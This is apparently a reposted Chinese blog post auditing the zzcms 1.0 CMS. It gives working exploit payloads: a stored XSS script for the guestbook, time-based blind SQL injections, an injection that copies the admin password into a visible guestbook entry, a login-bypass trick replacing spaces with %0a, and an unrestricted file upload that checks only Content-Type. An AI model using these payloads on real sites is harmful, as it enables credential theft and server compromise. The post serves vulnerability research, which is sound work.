码迷,mamicode.com
首页 > 其他好文 > 详细

zzcms1.0代码审计

时间:2017-07-21 01:16:49      阅读:422      评论:0      收藏:0      [点我收藏+]

标签:strong   cti   img   out   blog   func   技术分享   load   添加   

链接:http://pan.baidu.com/s/1hsy0XNm 密码:kdxh

一个处处是洞的cms 

首先include/glob.php 虽然写了全局的转义 但是并没卵用 

    include_once("ZC_Article.php");
    include_once("ZC_Pro.php");
    include_once("ZC_Link.php");
    include_once("ZC_About.php");
    include_once("ZC_Book.php");
    include_once("ZC_Down.php");
    include_once("ZC_Upload.php");
    include_once("ZC_Cache.php");
    
    if($_REQUEST){
        if(get_magic_quotes_gpc()){
            $_REQUEST = zc_strip($_REQUEST);
        }else{
            $_POST = zc_check($_POST);
            $_GET = zc_check($_GET);
            @extract($_POST);
            @extract($_GET);
        }
        $_REQUEST=filter_xss($_REQUEST, ZZCMS_TAGS);
        @extract($_REQUEST);
    }

前台后台基本上所有跟数据库交互的地方都能注入

Pro_Show.php?id=1
/About.php?id=1
Download.php?id=1
代码就不展示了

XSS

    function add_book(){
        global $db;
        $_POST?@extract(zc_strip($_POST)):NULL;
        
        ///if($vercode!=$_SESSION[‘ver_code‘]){
        //    showmsg("验证码错误!");
        //}
        unset($_SESSION[‘ver_code‘]);
        $time=time();
        $ip=$_SERVER[‘REMOTE_ADDR‘];
        $sql="insert into `".PRE."book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘".$title."‘,‘".$name."‘,‘".$qq."‘,‘".$url."‘,‘".$email."‘,‘".$content."‘,‘".$time."‘,‘".$ip."‘)";
        $db->query($sql) or die(showmsg("添加留言失败"));
        showmsg("添加留言成功!","Book.php");
    }    
}

添加留言处没有任何过滤

payload </td><script>alert(/xss/);</script>

因为前面转义不管用 可以闭合来搞注入

但是他没有写die(mysql_error())

就没法闭合来报错注入了

但是可以通过insert的时间盲注来搞...如果有耐心的话或者能自动识别验证码跑脚本的话 还是可以搞出来的

payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and If(1=1,sleep(5),sleep(0)),‘39.64.115.55‘);

第二种payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,‘1231312323‘,‘1500565966‘ and (select case when (select 1=1) then sleep(6) else sleep(0) end ) ,‘39.64.115.55‘);

第三种payload

insert into `zzcms_book` (`title`,`name`,`qq`,`url`,`email`,`content`,`time`,`ip`) values(‘31313‘,‘1231231‘,‘3131313‘,‘3133312312‘,‘13131‘,(select password from zzcms_admin limit 0,1),‘1500565966‘ ,‘39.64.115.55‘);

第三种构造好后

技术分享

content是管理员密码 如果管理员回复的话可在前台看到

技术分享

 

后台登入处

$name=str_replace(" ","",$name);
$sql="select * from `".PRE."admin` where `name`=‘$name‘";

可逻辑可盲注替换了空格 可以用%0a代替

后台任意上传的地方

public $allow_type=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘,‘image/pjpeg‘,‘image/gif‘,‘image/bmp‘,‘image/x-png‘);

只验证了Content-Type: image/jpeg 任意后缀可上传

 

zzcms1.0代码审计

标签:strong   cti   img   out   blog   func   技术分享   load   添加   

原文地址:http://www.cnblogs.com/test404/p/7215495.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!